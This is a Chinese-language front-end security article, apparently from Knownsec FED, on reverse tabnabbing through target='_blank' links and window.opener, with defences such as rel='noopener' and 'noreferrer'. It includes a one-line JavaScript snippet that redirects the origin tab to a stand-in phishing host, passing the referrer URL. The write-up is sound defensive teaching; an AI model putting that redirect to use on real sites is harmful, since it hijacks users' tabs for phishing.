摘要:惡意網(wǎng)站根據(jù)來(lái)偽造一個(gè)足以欺騙用戶的頁(yè)面,并展示出來(lái)期間還可以做一次跳轉(zhuǎn),使得瀏覽器的地址欄更具有迷惑性。而如果在鏈接中加入了,則此時(shí)兩個(gè)標(biāo)簽頁(yè)將會(huì)互不干擾,使得原頁(yè)面的性能不會(huì)受到新頁(yè)面的影響。
在網(wǎng)頁(yè)中使用鏈接時(shí),如果想要讓瀏覽器自動(dòng)在新的標(biāo)簽頁(yè)打開指定的地址,通常的做法就是在 a 標(biāo)簽上添加 target等于"_blank" 屬性。起源 parent 與 opener
然而,就是這個(gè)屬性,為釣魚攻擊者帶來(lái)了可乘之機(jī)。
在說(shuō) opener 之前,可以先聊聊 中的 parent。
我們知道,在 中提供了一個(gè)用于父子頁(yè)面交互的對(duì)象,叫做 window.parent,我們可以通過(guò) window.parent 對(duì)象來(lái)從框架中的頁(yè)面訪問(wèn)父級(jí)頁(yè)面的 window。
opener 與 parent 一樣,只不過(guò)是用于 在新標(biāo)簽頁(yè)打開的頁(yè)面的。通過(guò) 打開的頁(yè)面,可以直接使用 window.opener 來(lái)訪問(wèn)來(lái)源頁(yè)面的 window 對(duì)象。
同域與跨域瀏覽器提供了完整的跨域保護(hù),在域名相同時(shí),parent 對(duì)象和 opener 對(duì)象實(shí)際上就直接是上一級(jí)的 window 對(duì)象;而當(dāng)域名不同時(shí),parent 和 opener 則是經(jīng)過(guò)包裝的一個(gè) global 對(duì)象。這個(gè) global 對(duì)象僅提供非常有限的屬性訪問(wèn),并且在這僅有的幾個(gè)屬性中,大部分也都是不允許訪問(wèn)的(訪問(wèn)會(huì)直接拋出 DOMException)。
在 中,提供了一個(gè) sandbox 屬性用于控制框架中的頁(yè)面的權(quán)限,因此即使是同域,也可以控制 的安全性。
利用如果,你的網(wǎng)站上有一個(gè)鏈接,使用了 target="_blank",那么一旦用戶點(diǎn)擊這個(gè)鏈接并進(jìn)入一個(gè)新的標(biāo)簽,新標(biāo)簽中的頁(yè)面如果存在惡意代碼,就可以將你的網(wǎng)站直接導(dǎo)航到一個(gè)虛假網(wǎng)站。此時(shí),如果用戶回到你的標(biāo)簽頁(yè),看到的就是被替換過(guò)的頁(yè)面了。
詳細(xì)步驟
在你的網(wǎng)站 https://example.com 上存在一個(gè)鏈接:
進(jìn)入一個(gè)“邪惡”的網(wǎng)站
用戶點(diǎn)擊了這個(gè)鏈接,在新的標(biāo)簽頁(yè)打開了這個(gè)網(wǎng)站。這個(gè)網(wǎng)站可以通過(guò) HTTP Header 中的 Referer 屬性來(lái)判斷用戶的來(lái)源。
并且,這個(gè)網(wǎng)站上包含著類似于這樣的 JavaScript 代碼:
const url = encodeURIComponent("{{header.referer}}"); window.opener.location.replace("https://a.fake.site/?" + url);
此時(shí),用戶在繼續(xù)瀏覽這個(gè)新的標(biāo)簽頁(yè),而原來(lái)的網(wǎng)站所在的標(biāo)簽頁(yè)此時(shí)已經(jīng)被導(dǎo)航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。
惡意網(wǎng)站 https://a.fake.site 根據(jù) Query String 來(lái)偽造一個(gè)足以欺騙用戶的頁(yè)面,并展示出來(lái)(期間還可以做一次跳轉(zhuǎn),使得瀏覽器的地址欄更具有迷惑性)。
用戶關(guān)閉 https://an.evil.site 的標(biāo)簽頁(yè),回到原來(lái)的網(wǎng)站………………已經(jīng)回不去了。
上面的攻擊步驟是在跨域的情況下的,在跨域情況下,opener 對(duì)象和 parent 一樣,是受到限制的,僅提供非常有限的屬性訪問(wèn),并且在這僅有的幾個(gè)屬性中,大部分也都是不允許訪問(wèn)的(訪問(wèn)會(huì)直接拋出 DOMException)。防御但是與 parent 不同的是,在跨域的情況下,opener 仍然可以調(diào)用 location.replace 方法而 parent 則不可以。
如果是在同域的情況下(比如一個(gè)網(wǎng)站上的某一個(gè)頁(yè)面被植入了惡意代碼),則情況要比上面嚴(yán)重得多。
中有 sandbox 屬性,而鏈接,則可以使用下面的辦法:
1. Referrer Policy 和 noreferrer上面的攻擊步驟中,用到了 HTTP Header 中的 Referer 屬性,實(shí)際上可以在 HTTP 的響應(yīng)頭中增加 Referrer Policy 頭來(lái)保證來(lái)源隱私安全。
Referrer Policy 需要修改后端代碼來(lái)實(shí)現(xiàn),而在前端,也可以使用 標(biāo)簽的 rel 屬性來(lái)指定 rel="noreferrer" 來(lái)保證來(lái)源隱私安全。
進(jìn)入一個(gè)“邪惡”的網(wǎng)站
但是要注意的是:即使限制了 referer 的傳遞,仍然不能阻止原標(biāo)簽被惡意跳轉(zhuǎn)。2. noopener
為了安全,現(xiàn)代瀏覽器都支持在 標(biāo)簽的 rel 屬性中指定 rel="noopener",這樣,在打開的新標(biāo)簽頁(yè)中,將無(wú)法再使用 opener 對(duì)象了,它為設(shè)置為了 null。
進(jìn)入一個(gè)“邪惡”的網(wǎng)站3. JavaScript
noopener 屬性看似是解決了所有問(wèn)題,但是...瀏覽器的兼容性問(wèn)題...
可以看到,現(xiàn)在絕大多數(shù)瀏覽器都已經(jīng)兼容了 rel="noopener" 屬性了。但是,為了保護(hù)稍舊的“近代”瀏覽器或是很舊的“古代”瀏覽器甚至是“遠(yuǎn)古”瀏覽器,只有 noopener 屬性還是遠(yuǎn)遠(yuǎn)不夠的。
這時(shí),就只能請(qǐng)出下面這段原生 JavaScript 來(lái)幫忙了。
"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }推薦
首先,在網(wǎng)站中的鏈接上,如果使用了 target="_blank",就要帶上 rel="noopener",并且建議帶上 rel="noreferrer"。類似于這樣:
進(jìn)入一個(gè)“邪惡”的網(wǎng)站
當(dāng)然,在跳轉(zhuǎn)到第三方網(wǎng)站的時(shí)候,為了 SEO 權(quán)重,還建議帶上 rel="nofollow",所以最終類似于這樣:
進(jìn)入一個(gè)“邪惡”的網(wǎng)站性能
最后,再來(lái)說(shuō)說(shuō)性能問(wèn)題。
如果網(wǎng)站使用了 ,那么新打開的標(biāo)簽頁(yè)的性能將會(huì)影響到當(dāng)前頁(yè)面。此時(shí)如果新打開的頁(yè)面中執(zhí)行了一個(gè)非常龐大的 JavaScript 腳本,那么原始標(biāo)簽頁(yè)也會(huì)受到影響,會(huì)出現(xiàn)卡頓的現(xiàn)象(當(dāng)然不至于卡死)。
而如果在鏈接中加入了 noopener,則此時(shí)兩個(gè)標(biāo)簽頁(yè)將會(huì)互不干擾,使得原頁(yè)面的性能不會(huì)受到新頁(yè)面的影響。
文 / jinliming2
一條對(duì)新鮮事物充滿了好奇心的咸魚編 / 熒聲
本文已由作者授權(quán)發(fā)布,版權(quán)屬于創(chuàng)宇前端。歡迎注明出處轉(zhuǎn)載本文。本文鏈接:https://knownsec-fed.com/2018...
想要訂閱更多來(lái)自知道創(chuàng)宇開發(fā)一線的分享,請(qǐng)搜索關(guān)注我們的微信公眾號(hào):創(chuàng)宇前端(KnownsecFED)。歡迎留言討論,我們會(huì)盡可能回復(fù)。
歡迎點(diǎn)贊、收藏、留言評(píng)論、轉(zhuǎn)發(fā)分享和打賞支持我們。打賞將被完全轉(zhuǎn)交給文章作者。
感謝您的閱讀。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://systransis.cn/yun/97826.html
摘要:惡意網(wǎng)站根據(jù)來(lái)偽造一個(gè)足以欺騙用戶的頁(yè)面,并展示出來(lái)期間還可以做一次跳轉(zhuǎn),使得瀏覽器的地址欄更具有迷惑性。而如果在鏈接中加入了,則此時(shí)兩個(gè)標(biāo)簽頁(yè)將會(huì)互不干擾,使得原頁(yè)面的性能不會(huì)受到新頁(yè)面的影響。 在網(wǎng)頁(yè)中使用鏈接時(shí),如果想要讓瀏覽器自動(dòng)在新的標(biāo)簽頁(yè)打開指定的地址,通常的做法就是在 a 標(biāo)簽上添加 target等于_blank 屬性。然而,就是這個(gè)屬性,為釣魚攻擊者帶來(lái)了可乘之機(jī)。 s...
摘要:惡意網(wǎng)站根據(jù)來(lái)偽造一個(gè)足以欺騙用戶的頁(yè)面,并展示出來(lái)期間還可以做一次跳轉(zhuǎn),使得瀏覽器的地址欄更具有迷惑性。而如果在鏈接中加入了,則此時(shí)兩個(gè)標(biāo)簽頁(yè)將會(huì)互不干擾,使得原頁(yè)面的性能不會(huì)受到新頁(yè)面的影響。 在網(wǎng)頁(yè)中使用鏈接時(shí),如果想要讓瀏覽器自動(dòng)在新的標(biāo)簽頁(yè)打開指定的地址,通常的做法就是在 a 標(biāo)簽上添加 target等于_blank 屬性。然而,就是這個(gè)屬性,為釣魚攻擊者帶來(lái)了可乘之機(jī)。 s...
摘要:我的書簽我的書簽謹(jǐn)慎導(dǎo)入,小心覆蓋工具類版本管理快速切換源配置教程指南可視化工具前端工具集前端助手網(wǎng)絡(luò)封包截取工具格式化工具標(biāo)注工具模擬請(qǐng)求類深入淺出布局你所不知道的動(dòng)畫技巧與細(xì)節(jié)常用代碼黑魔法小技巧,讓你少寫不必要的,代碼更優(yōu)雅一勞永 我的書簽 我的書簽(謹(jǐn)慎導(dǎo)入,小心覆蓋) 工具類 nvm: node版本管理 nrm: 快速切換npm源 shell: zsh+on-my-zsh配...
摘要:我的書簽我的書簽謹(jǐn)慎導(dǎo)入,小心覆蓋工具類版本管理快速切換源配置教程指南可視化工具前端工具集前端助手網(wǎng)絡(luò)封包截取工具格式化工具標(biāo)注工具模擬請(qǐng)求類深入淺出布局你所不知道的動(dòng)畫技巧與細(xì)節(jié)常用代碼黑魔法小技巧,讓你少寫不必要的,代碼更優(yōu)雅一勞永 我的書簽 我的書簽(謹(jǐn)慎導(dǎo)入,小心覆蓋) 工具類 nvm: node版本管理 nrm: 快速切換npm源 shell: zsh+on-my-zsh配...
閱讀 3371·2021-11-11 16:54
閱讀 3526·2021-10-11 10:58
閱讀 1265·2021-08-30 09:41
閱讀 1809·2019-08-30 15:54
閱讀 2036·2019-08-30 14:00
閱讀 2710·2019-08-29 17:13
閱讀 1678·2019-08-29 15:19
閱讀 614·2019-08-29 15:14